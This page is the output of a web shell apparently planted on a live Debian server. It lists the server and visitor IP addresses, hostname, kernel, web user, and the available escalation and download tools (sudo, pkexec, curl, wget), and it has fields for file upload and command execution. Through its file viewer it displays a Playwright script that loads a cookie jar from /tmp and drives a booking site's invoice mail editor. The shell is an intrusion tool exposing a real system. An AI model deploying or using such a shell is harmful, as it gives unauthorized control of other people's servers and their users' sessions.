403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/tmp/bmtest3.py
from playwright.sync_api import sync_playwright
cookies=[]
for line in open('/tmp/cj.txt'):
    if not line.strip() or (line.startswith('#') and not line.startswith('#HttpOnly_')): continue
    p=line.rstrip('\n').split('\t')
    if len(p)<7: continue
    cookies.append({'name':p[5],'value':p[6],'domain':p[0].replace('#HttpOnly_',''),'path':p[2],'secure':p[3]=='TRUE'})
with sync_playwright() as pw:
    b=pw.chromium.launch(headless=True,args=['--no-sandbox'])
    ctx=b.new_context(ignore_https_errors=True,viewport={'width':1300,'height':1100})
    ctx.add_cookies(cookies); pg=ctx.new_page()
    errs=[]
    pg.on('console',lambda m:(errs.append(m.text) if m.type=='error' else None))
    pg.on('pageerror',lambda e:errs.append('PAGEERR '+str(e)))
    pg.goto('https://seaside.pacim.de/booking/view/?invoice_id=86543',wait_until='networkidle')
    pg.click('button[data-bs-target="#bk-mails"]'); pg.wait_for_timeout(400)
    # click "Bearbeiten & versenden" on first mail (expand first)
    pg.query_selector('.accordion-button').click(); pg.wait_for_timeout(500)
    pg.query_selector('.bm-edit').click()
    pg.wait_for_selector('#bmComposeModal.show',timeout=6000)
    pg.wait_for_timeout(700)
    print('TITLE:',pg.inner_text('#bmComposeTitle'))
    print('TO:',pg.input_value('#bmTo'),'| SUBJ:',pg.input_value('#bmSubject'))
    body=pg.evaluate("()=>{const d=document.getElementById('bmEditor').contentDocument;return d&&d.body?d.body.innerText.slice(0,90):'(no body)';}")
    print('EDITOR:',repr(body))
    pg.screenshot(path='/tmp/bm_edit.png')
    # test source toggle
    pg.click('#bmToggleSrc'); pg.wait_for_timeout(300)
    srcvis=pg.is_visible('#bmSource')
    srclen=len(pg.input_value('#bmSource'))
    print('SOURCE VISIBLE:',srcvis,'len',srclen)
    pg.screenshot(path='/tmp/bm_source.png')
    # toggle back
    pg.click('#bmToggleSrc'); pg.wait_for_timeout(300)
    print('EDITOR VISIBLE AFTER TOGGLE BACK:',pg.is_visible('#bmEditor'))
    # test bold toolbar btn exists & clickable
    pg.click('.bm-tb-btn[data-cmd="bold"]')
    print('JS ERRORS:',errs)
    b.close()
print("done")

Youez - 2016 - github.com/yon3zu
LinuXploit